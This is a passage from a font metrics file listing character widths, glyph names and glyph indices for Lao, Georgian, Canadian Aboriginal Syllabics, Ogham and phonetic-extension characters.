U 3780 ; WX 491 ; N uni0EC4 ; G 1616
U 3782 ; WX 674 ; N uni0EC6 ; G 1617
U 3784 ; WX 0 ; N uni0EC8 ; G 1618
U 3785 ; WX 0 ; N uni0EC9 ; G 1619
U 3786 ; WX 0 ; N uni0ECA ; G 1620
U 3787 ; WX 0 ; N uni0ECB ; G 1621
U 3788 ; WX 0 ; N uni0ECC ; G 1622
U 3789 ; WX 0 ; N uni0ECD ; G 1623
U 3792 ; WX 636 ; N uni0ED0 ; G 1624
U 3793 ; WX 641 ; N uni0ED1 ; G 1625
U 3794 ; WX 641 ; N uni0ED2 ; G 1626
U 3795 ; WX 670 ; N uni0ED3 ; G 1627
U 3796 ; WX 625 ; N uni0ED4 ; G 1628
U 3797 ; WX 625 ; N uni0ED5 ; G 1629
U 3798 ; WX 703 ; N uni0ED6 ; G 1630
U 3799 ; WX 670 ; N uni0ED7 ; G 1631
U 3800 ; WX 674 ; N uni0ED8 ; G 1632
U 3801 ; WX 677 ; N uni0ED9 ; G 1633
U 3804 ; WX 1028 ; N uni0EDC ; G 1634
U 3805 ; WX 1028 ; N uni0EDD ; G 1635
U 4256 ; WX 874 ; N uni10A0 ; G 1636
U 4257 ; WX 733 ; N uni10A1 ; G 1637
U 4258 ; WX 679 ; N uni10A2 ; G 1638
U 4259 ; WX 834 ; N uni10A3 ; G 1639
U 4260 ; WX 615 ; N uni10A4 ; G 1640
U 4261 ; WX 768 ; N uni10A5 ; G 1641
U 4262 ; WX 753 ; N uni10A6 ; G 1642
U 4263 ; WX 914 ; N uni10A7 ; G 1643
U 4264 ; WX 453 ; N uni10A8 ; G 1644
U 4265 ; WX 620 ; N uni10A9 ; G 1645
U 4266 ; WX 843 ; N uni10AA ; G 1646
U 4267 ; WX 882 ; N uni10AB ; G 1647
U 4268 ; WX 625 ; N uni10AC ; G 1648
U 4269 ; WX 854 ; N uni10AD ; G 1649
U 4270 ; WX 781 ; N uni10AE ; G 1650
U 4271 ; WX 629 ; N uni10AF ; G 1651
U 4272 ; WX 912 ; N uni10B0 ; G 1652
U 4273 ; WX 621 ; N uni10B1 ; G 1653
U 4274 ; WX 620 ; N uni10B2 ; G 1654
U 4275 ; WX 854 ; N uni10B3 ; G 1655
U 4276 ; WX 866 ; N uni10B4 ; G 1656
U 4277 ; WX 724 ; N uni10B5 ; G 1657
U 4278 ; WX 630 ; N uni10B6 ; G 1658
U 4279 ; WX 621 ; N uni10B7 ; G 1659
U 4280 ; WX 625 ; N uni10B8 ; G 1660
U 4281 ; WX 620 ; N uni10B9 ; G 1661
U 4282 ; WX 818 ; N uni10BA ; G 1662
U 4283 ; WX 874 ; N uni10BB ; G 1663
U 4284 ; WX 615 ; N uni10BC ; G 1664
U 4285 ; WX 623 ; N uni10BD ; G 1665
U 4286 ; WX 625 ; N uni10BE ; G 1666
U 4287 ; WX 725 ; N uni10BF ; G 1667
U 4288 ; WX 844 ; N uni10C0 ; G 1668
U 4289 ; WX 596 ; N uni10C1 ; G 1669
U 4290 ; WX 688 ; N uni10C2 ; G 1670
U 4291 ; WX 596 ; N uni10C3 ; G 1671
U 4292 ; WX 594 ; N uni10C4 ; G 1672
U 4293 ; WX 738 ; N uni10C5 ; G 1673
U 4304 ; WX 508 ; N uni10D0 ; G 1674
U 4305 ; WX 518 ; N uni10D1 ; G 1675
U 4306 ; WX 581 ; N uni10D2 ; G 1676
U 4307 ; WX 818 ; N uni10D3 ; G 1677
U 4308 ; WX 508 ; N uni10D4 ; G 1678
U 4309 ; WX 513 ; N uni10D5 ; G 1679
U 4310 ; WX 500 ; N uni10D6 ; G 1680
U 4311 ; WX 801 ; N uni10D7 ; G 1681
U 4312 ; WX 518 ; N uni10D8 ; G 1682
U 4313 ; WX 510 ; N uni10D9 ; G 1683
U 4314 ; WX 1064 ; N uni10DA ; G 1684
U 4315 ; WX 522 ; N uni10DB ; G 1685
U 4316 ; WX 522 ; N uni10DC ; G 1686
U 4317 ; WX 786 ; N uni10DD ; G 1687
U 4318 ; WX 508 ; N uni10DE ; G 1688
U 4319 ; WX 518 ; N uni10DF ; G 1689
U 4320 ; WX 796 ; N uni10E0 ; G 1690
U 4321 ; WX 522 ; N uni10E1 ; G 1691
U 4322 ; WX 654 ; N uni10E2 ; G 1692
U 4323 ; WX 522 ; N uni10E3 ; G 1693
U 4324 ; WX 825 ; N uni10E4 ; G 1694
U 4325 ; WX 513 ; N uni10E5 ; G 1695
U 4326 ; WX 786 ; N uni10E6 ; G 1696
U 4327 ; WX 518 ; N uni10E7 ; G 1697
U 4328 ; WX 518 ; N uni10E8 ; G 1698
U 4329 ; WX 522 ; N uni10E9 ; G 1699
U 4330 ; WX 571 ; N uni10EA ; G 1700
U 4331 ; WX 522 ; N uni10EB ; G 1701
U 4332 ; WX 518 ; N uni10EC ; G 1702
U 4333 ; WX 520 ; N uni10ED ; G 1703
U 4334 ; WX 522 ; N uni10EE ; G 1704
U 4335 ; WX 454 ; N uni10EF ; G 1705
U 4336 ; WX 508 ; N uni10F0 ; G 1706
U 4337 ; WX 518 ; N uni10F1 ; G 1707
U 4338 ; WX 508 ; N uni10F2 ; G 1708
U 4339 ; WX 508 ; N uni10F3 ; G 1709
U 4340 ; WX 518 ; N uni10F4 ; G 1710
U 4341 ; WX 554 ; N uni10F5 ; G 1711
U 4342 ; WX 828 ; N uni10F6 ; G 1712
U 4343 ; WX 552 ; N uni10F7 ; G 1713
U 4344 ; WX 508 ; N uni10F8 ; G 1714
U 4345 ; WX 571 ; N uni10F9 ; G 1715
U 4346 ; WX 508 ; N uni10FA ; G 1716
U 4347 ; WX 448 ; N uni10FB ; G 1717
U 4348 ; WX 324 ; N uni10FC ; G 1718
U 5121 ; WX 684 ; N uni1401 ; G 1719
U 5122 ; WX 684 ; N uni1402 ; G 1720
U 5123 ; WX 684 ; N uni1403 ; G 1721
U 5124 ; WX 684 ; N uni1404 ; G 1722
U 5125 ; WX 769 ; N uni1405 ; G 1723
U 5126 ; WX 769 ; N uni1406 ; G 1724
U 5127 ; WX 769 ; N uni1407 ; G 1725
U 5129 ; WX 769 ; N uni1409 ; G 1726
U 5130 ; WX 769 ; N uni140A ; G 1727
U 5131 ; WX 769 ; N uni140B ; G 1728
U 5132 ; WX 835 ; N uni140C ; G 1729
U 5133 ; WX 834 ; N uni140D ; G 1730
U 5134 ; WX 835 ; N uni140E ; G 1731
U 5135 ; WX 834 ; N uni140F ; G 1732
U 5136 ; WX 835 ; N uni1410 ; G 1733
U 5137 ; WX 834 ; N uni1411 ; G 1734
U 5138 ; WX 967 ; N uni1412 ; G 1735
U 5139 ; WX 1007 ; N uni1413 ; G 1736
U 5140 ; WX 967 ; N uni1414 ; G 1737
U 5141 ; WX 1007 ; N uni1415 ; G 1738
U 5142 ; WX 769 ; N uni1416 ; G 1739
U 5143 ; WX 967 ; N uni1417 ; G 1740
U 5144 ; WX 1007 ; N uni1418 ; G 1741
U 5145 ; WX 967 ; N uni1419 ; G 1742
U 5146 ; WX 1007 ; N uni141A ; G 1743
U 5147 ; WX 769 ; N uni141B ; G 1744
U 5149 ; WX 256 ; N uni141D ; G 1745
U 5150 ; WX 543 ; N uni141E ; G 1746
U 5151 ; WX 423 ; N uni141F ; G 1747
U 5152 ; WX 423 ; N uni1420 ; G 1748
U 5153 ; WX 389 ; N uni1421 ; G 1749
U 5154 ; WX 389 ; N uni1422 ; G 1750
U 5155 ; WX 393 ; N uni1423 ; G 1751
U 5156 ; WX 389 ; N uni1424 ; G 1752
U 5157 ; WX 466 ; N uni1425 ; G 1753
U 5158 ; WX 385 ; N uni1426 ; G 1754
U 5159 ; WX 256 ; N uni1427 ; G 1755
U 5160 ; WX 389 ; N uni1428 ; G 1756
U 5161 ; WX 389 ; N uni1429 ; G 1757
U 5162 ; WX 389 ; N uni142A ; G 1758
U 5163 ; WX 1090 ; N uni142B ; G 1759
U 5164 ; WX 909 ; N uni142C ; G 1760
U 5165 ; WX 953 ; N uni142D ; G 1761
U 5166 ; WX 1117 ; N uni142E ; G 1762
U 5167 ; WX 684 ; N uni142F ; G 1763
U 5168 ; WX 684 ; N uni1430 ; G 1764
U 5169 ; WX 684 ; N uni1431 ; G 1765
U 5170 ; WX 684 ; N uni1432 ; G 1766
U 5171 ; WX 729 ; N uni1433 ; G 1767
U 5172 ; WX 729 ; N uni1434 ; G 1768
U 5173 ; WX 729 ; N uni1435 ; G 1769
U 5175 ; WX 729 ; N uni1437 ; G 1770
U 5176 ; WX 729 ; N uni1438 ; G 1771
U 5177 ; WX 729 ; N uni1439 ; G 1772
U 5178 ; WX 835 ; N uni143A ; G 1773
U 5179 ; WX 684 ; N uni143B ; G 1774
U 5180 ; WX 835 ; N uni143C ; G 1775
U 5181 ; WX 834 ; N uni143D ; G 1776
U 5182 ; WX 835 ; N uni143E ; G 1777
U 5183 ; WX 834 ; N uni143F ; G 1778
U 5184 ; WX 967 ; N uni1440 ; G 1779
U 5185 ; WX 1007 ; N uni1441 ; G 1780
U 5186 ; WX 967 ; N uni1442 ; G 1781
U 5187 ; WX 1007 ; N uni1443 ; G 1782
U 5188 ; WX 967 ; N uni1444 ; G 1783
U 5189 ; WX 1007 ; N uni1445 ; G 1784
U 5190 ; WX 967 ; N uni1446 ; G 1785
U 5191 ; WX 1007 ; N uni1447 ; G 1786
U 5192 ; WX 729 ; N uni1448 ; G 1787
U 5193 ; WX 508 ; N uni1449 ; G 1788
U 5194 ; WX 192 ; N uni144A ; G 1789
U 5196 ; WX 732 ; N uni144C ; G 1790
U 5197 ; WX 732 ; N uni144D ; G 1791
U 5198 ; WX 732 ; N uni144E ; G 1792
U 5199 ; WX 732 ; N uni144F ; G 1793
U 5200 ; WX 730 ; N uni1450 ; G 1794
U 5201 ; WX 730 ; N uni1451 ; G 1795
U 5202 ; WX 730 ; N uni1452 ; G 1796
U 5204 ; WX 730 ; N uni1454 ; G 1797
U 5205 ; WX 730 ; N uni1455 ; G 1798
U 5206 ; WX 730 ; N uni1456 ; G 1799
U 5207 ; WX 921 ; N uni1457 ; G 1800
U 5208 ; WX 889 ; N uni1458 ; G 1801
U 5209 ; WX 921 ; N uni1459 ; G 1802
U 5210 ; WX 889 ; N uni145A ; G 1803
U 5211 ; WX 921 ; N uni145B ; G 1804
U 5212 ; WX 889 ; N uni145C ; G 1805
U 5213 ; WX 928 ; N uni145D ; G 1806
U 5214 ; WX 900 ; N uni145E ; G 1807
U 5215 ; WX 928 ; N uni145F ; G 1808
U 5216 ; WX 900 ; N uni1460 ; G 1809
U 5217 ; WX 947 ; N uni1461 ; G 1810
U 5218 ; WX 900 ; N uni1462 ; G 1811
U 5219 ; WX 947 ; N uni1463 ; G 1812
U 5220 ; WX 900 ; N uni1464 ; G 1813
U 5221 ; WX 947 ; N uni1465 ; G 1814
U 5222 ; WX 434 ; N uni1466 ; G 1815
U 5223 ; WX 877 ; N uni1467 ; G 1816
U 5224 ; WX 877 ; N uni1468 ; G 1817
U 5225 ; WX 866 ; N uni1469 ; G 1818
U 5226 ; WX 890 ; N uni146A ; G 1819
U 5227 ; WX 628 ; N uni146B ; G 1820
U 5228 ; WX 628 ; N uni146C ; G 1821
U 5229 ; WX 628 ; N uni146D ; G 1822
U 5230 ; WX 628 ; N uni146E ; G 1823
U 5231 ; WX 628 ; N uni146F ; G 1824
U 5232 ; WX 628 ; N uni1470 ; G 1825
U 5233 ; WX 628 ; N uni1471 ; G 1826
U 5234 ; WX 628 ; N uni1472 ; G 1827
U 5235 ; WX 628 ; N uni1473 ; G 1828
U 5236 ; WX 860 ; N uni1474 ; G 1829
U 5237 ; WX 771 ; N uni1475 ; G 1830
U 5238 ; WX 815 ; N uni1476 ; G 1831
U 5239 ; WX 816 ; N uni1477 ; G 1832
U 5240 ; WX 815 ; N uni1478 ; G 1833
U 5241 ; WX 816 ; N uni1479 ; G 1834
U 5242 ; WX 860 ; N uni147A ; G 1835
U 5243 ; WX 771 ; N uni147B ; G 1836
U 5244 ; WX 860 ; N uni147C ; G 1837
U 5245 ; WX 771 ; N uni147D ; G 1838
U 5246 ; WX 815 ; N uni147E ; G 1839
U 5247 ; WX 816 ; N uni147F ; G 1840
U 5248 ; WX 815 ; N uni1480 ; G 1841
U 5249 ; WX 816 ; N uni1481 ; G 1842
U 5250 ; WX 815 ; N uni1482 ; G 1843
U 5251 ; WX 407 ; N uni1483 ; G 1844
U 5252 ; WX 407 ; N uni1484 ; G 1845
U 5253 ; WX 750 ; N uni1485 ; G 1846
U 5254 ; WX 775 ; N uni1486 ; G 1847
U 5255 ; WX 750 ; N uni1487 ; G 1848
U 5256 ; WX 775 ; N uni1488 ; G 1849
U 5257 ; WX 628 ; N uni1489 ; G 1850
U 5258 ; WX 628 ; N uni148A ; G 1851
U 5259 ; WX 628 ; N uni148B ; G 1852
U 5260 ; WX 628 ; N uni148C ; G 1853
U 5261 ; WX 628 ; N uni148D ; G 1854
U 5262 ; WX 628 ; N uni148E ; G 1855
U 5263 ; WX 628 ; N uni148F ; G 1856
U 5264 ; WX 628 ; N uni1490 ; G 1857
U 5265 ; WX 628 ; N uni1491 ; G 1858
U 5266 ; WX 860 ; N uni1492 ; G 1859
U 5267 ; WX 771 ; N uni1493 ; G 1860
U 5268 ; WX 815 ; N uni1494 ; G 1861
U 5269 ; WX 816 ; N uni1495 ; G 1862
U 5270 ; WX 815 ; N uni1496 ; G 1863
U 5271 ; WX 816 ; N uni1497 ; G 1864
U 5272 ; WX 860 ; N uni1498 ; G 1865
U 5273 ; WX 771 ; N uni1499 ; G 1866
U 5274 ; WX 860 ; N uni149A ; G 1867
U 5275 ; WX 771 ; N uni149B ; G 1868
U 5276 ; WX 815 ; N uni149C ; G 1869
U 5277 ; WX 816 ; N uni149D ; G 1870
U 5278 ; WX 815 ; N uni149E ; G 1871
U 5279 ; WX 816 ; N uni149F ; G 1872
U 5280 ; WX 815 ; N uni14A0 ; G 1873
U 5281 ; WX 435 ; N uni14A1 ; G 1874
U 5282 ; WX 435 ; N uni14A2 ; G 1875
U 5283 ; WX 610 ; N uni14A3 ; G 1876
U 5284 ; WX 557 ; N uni14A4 ; G 1877
U 5285 ; WX 557 ; N uni14A5 ; G 1878
U 5286 ; WX 557 ; N uni14A6 ; G 1879
U 5287 ; WX 610 ; N uni14A7 ; G 1880
U 5288 ; WX 610 ; N uni14A8 ; G 1881
U 5289 ; WX 610 ; N uni14A9 ; G 1882
U 5290 ; WX 557 ; N uni14AA ; G 1883
U 5291 ; WX 557 ; N uni14AB ; G 1884
U 5292 ; WX 749 ; N uni14AC ; G 1885
U 5293 ; WX 769 ; N uni14AD ; G 1886
U 5294 ; WX 746 ; N uni14AE ; G 1887
U 5295 ; WX 764 ; N uni14AF ; G 1888
U 5296 ; WX 746 ; N uni14B0 ; G 1889
U 5297 ; WX 764 ; N uni14B1 ; G 1890
U 5298 ; WX 749 ; N uni14B2 ; G 1891
U 5299 ; WX 769 ; N uni14B3 ; G 1892
U 5300 ; WX 749 ; N uni14B4 ; G 1893
U 5301 ; WX 769 ; N uni14B5 ; G 1894
U 5302 ; WX 746 ; N uni14B6 ; G 1895
U 5303 ; WX 764 ; N uni14B7 ; G 1896
U 5304 ; WX 746 ; N uni14B8 ; G 1897
U 5305 ; WX 764 ; N uni14B9 ; G 1898
U 5306 ; WX 746 ; N uni14BA ; G 1899
U 5307 ; WX 386 ; N uni14BB ; G 1900
U 5308 ; WX 508 ; N uni14BC ; G 1901
U 5309 ; WX 386 ; N uni14BD ; G 1902
U 5312 ; WX 852 ; N uni14C0 ; G 1903
U 5313 ; WX 852 ; N uni14C1 ; G 1904
U 5314 ; WX 852 ; N uni14C2 ; G 1905
U 5315 ; WX 852 ; N uni14C3 ; G 1906
U 5316 ; WX 852 ; N uni14C4 ; G 1907
U 5317 ; WX 852 ; N uni14C5 ; G 1908
U 5318 ; WX 852 ; N uni14C6 ; G 1909
U 5319 ; WX 852 ; N uni14C7 ; G 1910
U 5320 ; WX 852 ; N uni14C8 ; G 1911
U 5321 ; WX 1069 ; N uni14C9 ; G 1912
U 5322 ; WX 1035 ; N uni14CA ; G 1913
U 5323 ; WX 1059 ; N uni14CB ; G 1914
U 5324 ; WX 852 ; N uni14CC ; G 1915
U 5325 ; WX 1059 ; N uni14CD ; G 1916
U 5326 ; WX 852 ; N uni14CE ; G 1917
U 5327 ; WX 852 ; N uni14CF ; G 1918
U 5328 ; WX 600 ; N uni14D0 ; G 1919
U 5329 ; WX 453 ; N uni14D1 ; G 1920
U 5330 ; WX 600 ; N uni14D2 ; G 1921
U 5331 ; WX 852 ; N uni14D3 ; G 1922
U 5332 ; WX 852 ; N uni14D4 ; G 1923
U 5333 ; WX 852 ; N uni14D5 ; G 1924
U 5334 ; WX 852 ; N uni14D6 ; G 1925
U 5335 ; WX 852 ; N uni14D7 ; G 1926
U 5336 ; WX 852 ; N uni14D8 ; G 1927
U 5337 ; WX 852 ; N uni14D9 ; G 1928
U 5338 ; WX 852 ; N uni14DA ; G 1929
U 5339 ; WX 852 ; N uni14DB ; G 1930
U 5340 ; WX 1069 ; N uni14DC ; G 1931
U 5341 ; WX 1035 ; N uni14DD ; G 1932
U 5342 ; WX 1059 ; N uni14DE ; G 1933
U 5343 ; WX 1030 ; N uni14DF ; G 1934
U 5344 ; WX 1059 ; N uni14E0 ; G 1935
U 5345 ; WX 1030 ; N uni14E1 ; G 1936
U 5346 ; WX 1069 ; N uni14E2 ; G 1937
U 5347 ; WX 1035 ; N uni14E3 ; G 1938
U 5348 ; WX 1069 ; N uni14E4 ; G 1939
U 5349 ; WX 1035 ; N uni14E5 ; G 1940
U 5350 ; WX 1083 ; N uni14E6 ; G 1941
U 5351 ; WX 1030 ; N uni14E7 ; G 1942
U 5352 ; WX 1083 ; N uni14E8 ; G 1943
U 5353 ; WX 1030 ; N uni14E9 ; G 1944
U 5354 ; WX 600 ; N uni14EA ; G 1945
U 5356 ; WX 729 ; N uni14EC ; G 1946
U 5357 ; WX 603 ; N uni14ED ; G 1947
U 5358 ; WX 603 ; N uni14EE ; G 1948
U 5359 ; WX 603 ; N uni14EF ; G 1949
U 5360 ; WX 603 ; N uni14F0 ; G 1950
U 5361 ; WX 603 ; N uni14F1 ; G 1951
U 5362 ; WX 603 ; N uni14F2 ; G 1952
U 5363 ; WX 603 ; N uni14F3 ; G 1953
U 5364 ; WX 603 ; N uni14F4 ; G 1954
U 5365 ; WX 603 ; N uni14F5 ; G 1955
U 5366 ; WX 834 ; N uni14F6 ; G 1956
U 5367 ; WX 754 ; N uni14F7 ; G 1957
U 5368 ; WX 792 ; N uni14F8 ; G 1958
U 5369 ; WX 771 ; N uni14F9 ; G 1959
U 5370 ; WX 792 ; N uni14FA ; G 1960
U 5371 ; WX 771 ; N uni14FB ; G 1961
U 5372 ; WX 834 ; N uni14FC ; G 1962
U 5373 ; WX 754 ; N uni14FD ; G 1963
U 5374 ; WX 834 ; N uni14FE ; G 1964
U 5375 ; WX 754 ; N uni14FF ; G 1965
U 5376 ; WX 792 ; N uni1500 ; G 1966
U 5377 ; WX 771 ; N uni1501 ; G 1967
U 5378 ; WX 792 ; N uni1502 ; G 1968
U 5379 ; WX 771 ; N uni1503 ; G 1969
U 5380 ; WX 792 ; N uni1504 ; G 1970
U 5381 ; WX 418 ; N uni1505 ; G 1971
U 5382 ; WX 420 ; N uni1506 ; G 1972
U 5383 ; WX 418 ; N uni1507 ; G 1973
U 5392 ; WX 712 ; N uni1510 ; G 1974
U 5393 ; WX 712 ; N uni1511 ; G 1975
U 5394 ; WX 712 ; N uni1512 ; G 1976
U 5395 ; WX 892 ; N uni1513 ; G 1977
U 5396 ; WX 892 ; N uni1514 ; G 1978
U 5397 ; WX 892 ; N uni1515 ; G 1979
U 5398 ; WX 892 ; N uni1516 ; G 1980
U 5399 ; WX 910 ; N uni1517 ; G 1981
U 5400 ; WX 872 ; N uni1518 ; G 1982
U 5401 ; WX 910 ; N uni1519 ; G 1983
U 5402 ; WX 872 ; N uni151A ; G 1984
U 5403 ; WX 910 ; N uni151B ; G 1985
U 5404 ; WX 872 ; N uni151C ; G 1986
U 5405 ; WX 1140 ; N uni151D ; G 1987
U 5406 ; WX 1100 ; N uni151E ; G 1988
U 5407 ; WX 1140 ; N uni151F ; G 1989
U 5408 ; WX 1100 ; N uni1520 ; G 1990
U 5409 ; WX 1140 ; N uni1521 ; G 1991
U 5410 ; WX 1100 ; N uni1522 ; G 1992
U 5411 ; WX 1140 ; N uni1523 ; G 1993
U 5412 ; WX 1100 ; N uni1524 ; G 1994
U 5413 ; WX 641 ; N uni1525 ; G 1995
U 5414 ; WX 627 ; N uni1526 ; G 1996
U 5415 ; WX 627 ; N uni1527 ; G 1997
U 5416 ; WX 627 ; N uni1528 ; G 1998
U 5417 ; WX 627 ; N uni1529 ; G 1999
U 5418 ; WX 627 ; N uni152A ; G 2000
U 5419 ; WX 627 ; N uni152B ; G 2001
U 5420 ; WX 627 ; N uni152C ; G 2002
U 5421 ; WX 627 ; N uni152D ; G 2003
U 5422 ; WX 627 ; N uni152E ; G 2004
U 5423 ; WX 844 ; N uni152F ; G 2005
U 5424 ; WX 781 ; N uni1530 ; G 2006
U 5425 ; WX 816 ; N uni1531 ; G 2007
U 5426 ; WX 818 ; N uni1532 ; G 2008
U 5427 ; WX 816 ; N uni1533 ; G 2009
U 5428 ; WX 818 ; N uni1534 ; G 2010
U 5429 ; WX 844 ; N uni1535 ; G 2011
U 5430 ; WX 781 ; N uni1536 ; G 2012
U 5431 ; WX 844 ; N uni1537 ; G 2013
U 5432 ; WX 781 ; N uni1538 ; G 2014
U 5433 ; WX 816 ; N uni1539 ; G 2015
U 5434 ; WX 818 ; N uni153A ; G 2016
U 5435 ; WX 816 ; N uni153B ; G 2017
U 5436 ; WX 818 ; N uni153C ; G 2018
U 5437 ; WX 816 ; N uni153D ; G 2019
U 5438 ; WX 418 ; N uni153E ; G 2020
U 5440 ; WX 389 ; N uni1540 ; G 2021
U 5441 ; WX 484 ; N uni1541 ; G 2022
U 5442 ; WX 916 ; N uni1542 ; G 2023
U 5443 ; WX 916 ; N uni1543 ; G 2024
U 5444 ; WX 916 ; N uni1544 ; G 2025
U 5445 ; WX 916 ; N uni1545 ; G 2026
U 5446 ; WX 916 ; N uni1546 ; G 2027
U 5447 ; WX 916 ; N uni1547 ; G 2028
U 5448 ; WX 603 ; N uni1548 ; G 2029
U 5449 ; WX 603 ; N uni1549 ; G 2030
U 5450 ; WX 603 ; N uni154A ; G 2031
U 5451 ; WX 603 ; N uni154B ; G 2032
U 5452 ; WX 603 ; N uni154C ; G 2033
U 5453 ; WX 603 ; N uni154D ; G 2034
U 5454 ; WX 834 ; N uni154E ; G 2035
U 5455 ; WX 754 ; N uni154F ; G 2036
U 5456 ; WX 418 ; N uni1550 ; G 2037
U 5458 ; WX 729 ; N uni1552 ; G 2038
U 5459 ; WX 684 ; N uni1553 ; G 2039
U 5460 ; WX 684 ; N uni1554 ; G 2040
U 5461 ; WX 684 ; N uni1555 ; G 2041
U 5462 ; WX 684 ; N uni1556 ; G 2042
U 5463 ; WX 726 ; N uni1557 ; G 2043
U 5464 ; WX 726 ; N uni1558 ; G 2044
U 5465 ; WX 726 ; N uni1559 ; G 2045
U 5466 ; WX 726 ; N uni155A ; G 2046
U 5467 ; WX 924 ; N uni155B ; G 2047
U 5468 ; WX 1007 ; N uni155C ; G 2048
U 5469 ; WX 508 ; N uni155D ; G 2049
U 5470 ; WX 732 ; N uni155E ; G 2050
U 5471 ; WX 732 ; N uni155F ; G 2051
U 5472 ; WX 732 ; N uni1560 ; G 2052
U 5473 ; WX 732 ; N uni1561 ; G 2053
U 5474 ; WX 732 ; N uni1562 ; G 2054
U 5475 ; WX 732 ; N uni1563 ; G 2055
U 5476 ; WX 730 ; N uni1564 ; G 2056
U 5477 ; WX 730 ; N uni1565 ; G 2057
U 5478 ; WX 730 ; N uni1566 ; G 2058
U 5479 ; WX 730 ; N uni1567 ; G 2059
U 5480 ; WX 947 ; N uni1568 ; G 2060
U 5481 ; WX 900 ; N uni1569 ; G 2061
U 5482 ; WX 508 ; N uni156A ; G 2062
U 5492 ; WX 831 ; N uni1574 ; G 2063
U 5493 ; WX 831 ; N uni1575 ; G 2064
U 5494 ; WX 831 ; N uni1576 ; G 2065
U 5495 ; WX 831 ; N uni1577 ; G 2066
U 5496 ; WX 831 ; N uni1578 ; G 2067
U 5497 ; WX 831 ; N uni1579 ; G 2068
U 5498 ; WX 831 ; N uni157A ; G 2069
U 5499 ; WX 563 ; N uni157B ; G 2070
U 5500 ; WX 752 ; N uni157C ; G 2071
U 5501 ; WX 484 ; N uni157D ; G 2072
U 5502 ; WX 1047 ; N uni157E ; G 2073
U 5503 ; WX 1047 ; N uni157F ; G 2074
U 5504 ; WX 1047 ; N uni1580 ; G 2075
U 5505 ; WX 1047 ; N uni1581 ; G 2076
U 5506 ; WX 1047 ; N uni1582 ; G 2077
U 5507 ; WX 1047 ; N uni1583 ; G 2078
U 5508 ; WX 1047 ; N uni1584 ; G 2079
U 5509 ; WX 825 ; N uni1585 ; G 2080
U 5514 ; WX 831 ; N uni158A ; G 2081
U 5515 ; WX 831 ; N uni158B ; G 2082
U 5516 ; WX 831 ; N uni158C ; G 2083
U 5517 ; WX 831 ; N uni158D ; G 2084
U 5518 ; WX 1259 ; N uni158E ; G 2085
U 5519 ; WX 1259 ; N uni158F ; G 2086
U 5520 ; WX 1259 ; N uni1590 ; G 2087
U 5521 ; WX 1002 ; N uni1591 ; G 2088
U 5522 ; WX 1002 ; N uni1592 ; G 2089
U 5523 ; WX 1259 ; N uni1593 ; G 2090
U 5524 ; WX 1259 ; N uni1594 ; G 2091
U 5525 ; WX 700 ; N uni1595 ; G 2092
U 5526 ; WX 1073 ; N uni1596 ; G 2093
U 5536 ; WX 852 ; N uni15A0 ; G 2094
U 5537 ; WX 852 ; N uni15A1 ; G 2095
U 5538 ; WX 852 ; N uni15A2 ; G 2096
U 5539 ; WX 852 ; N uni15A3 ; G 2097
U 5540 ; WX 852 ; N uni15A4 ; G 2098
U 5541 ; WX 852 ; N uni15A5 ; G 2099
U 5542 ; WX 600 ; N uni15A6 ; G 2100
U 5543 ; WX 643 ; N uni15A7 ; G 2101
U 5544 ; WX 643 ; N uni15A8 ; G 2102
U 5545 ; WX 643 ; N uni15A9 ; G 2103
U 5546 ; WX 643 ; N uni15AA ; G 2104
U 5547 ; WX 643 ; N uni15AB ; G 2105
U 5548 ; WX 643 ; N uni15AC ; G 2106
U 5549 ; WX 643 ; N uni15AD ; G 2107
U 5550 ; WX 418 ; N uni15AE ; G 2108
U 5551 ; WX 628 ; N uni15AF ; G 2109
U 5598 ; WX 770 ; N uni15DE ; G 2110
U 5601 ; WX 767 ; N uni15E1 ; G 2111
U 5702 ; WX 468 ; N uni1646 ; G 2112
U 5703 ; WX 468 ; N uni1647 ; G 2113
U 5742 ; WX 444 ; N uni166E ; G 2114
U 5743 ; WX 1047 ; N uni166F ; G 2115
U 5744 ; WX 1310 ; N uni1670 ; G 2116
U 5745 ; WX 1632 ; N uni1671 ; G 2117
U 5746 ; WX 1632 ; N uni1672 ; G 2118
U 5747 ; WX 1375 ; N uni1673 ; G 2119
U 5748 ; WX 1375 ; N uni1674 ; G 2120
U 5749 ; WX 1632 ; N uni1675 ; G 2121
U 5750 ; WX 1632 ; N uni1676 ; G 2122
U 5760 ; WX 477 ; N uni1680 ; G 2123
U 5761 ; WX 493 ; N uni1681 ; G 2124
U 5762 ; WX 712 ; N uni1682 ; G 2125
U 5763 ; WX 931 ; N uni1683 ; G 2126
U 5764 ; WX 1150 ; N uni1684 ; G 2127
U 5765 ; WX 1370 ; N uni1685 ; G 2128
U 5766 ; WX 493 ; N uni1686 ; G 2129
U 5767 ; WX 712 ; N uni1687 ; G 2130
U 5768 ; WX 931 ; N uni1688 ; G 2131
U 5769 ; WX 1150 ; N uni1689 ; G 2132
U 5770 ; WX 1370 ; N uni168A ; G 2133
U 5771 ; WX 498 ; N uni168B ; G 2134
U 5772 ; WX 718 ; N uni168C ; G 2135
U 5773 ; WX 938 ; N uni168D ; G 2136
U 5774 ; WX 1159 ; N uni168E ; G 2137
U 5775 ; WX 1379 ; N uni168F ; G 2138
U 5776 ; WX 493 ; N uni1690 ; G 2139
U 5777 ; WX 712 ; N uni1691 ; G 2140
U 5778 ; WX 930 ; N uni1692 ; G 2141
U 5779 ; WX 1149 ; N uni1693 ; G 2142
U 5780 ; WX 1370 ; N uni1694 ; G 2143
U 5781 ; WX 498 ; N uni1695 ; G 2144
U 5782 ; WX 752 ; N uni1696 ; G 2145
U 5783 ; WX 789 ; N uni1697 ; G 2146
U 5784 ; WX 1205 ; N uni1698 ; G 2147
U 5785 ; WX 1150 ; N uni1699 ; G 2148
U 5786 ; WX 683 ; N uni169A ; G 2149
U 5787 ; WX 507 ; N uni169B ; G 2150
U 5788 ; WX 507 ; N uni169C ; G 2151
U 7424 ; WX 592 ; N uni1D00 ; G 2152
U 7425 ; WX 717 ; N uni1D01 ; G 2153
U 7426 ; WX 982 ; N uni1D02 ; G 2154
U 7427 ; WX 586 ; N uni1D03 ; G 2155
U 7428 ; WX 550 ; N uni1D04 ; G 2156
U 7429 ; WX 605 ; N uni1D05 ; G 2157
U 7430 ; WX 605 ; N uni1D06 ; G 2158
U 7431 ; WX 491 ; N uni1D07 ; G 2159
U 7432 ; WX 541 ; N uni1D08 ; G 2160
U 7433 ; WX 278 ; N uni1D09 ; G 2161
U 7434 ; WX 395 ; N uni1D0A ; G 2162
U 7435 ; WX 579 ; N uni1D0B ; G 2163
U 7436 ; WX 583 ; N uni1D0C ; G 2164
U 7437 ; WX 754 ; N uni1D0D ; G 2165
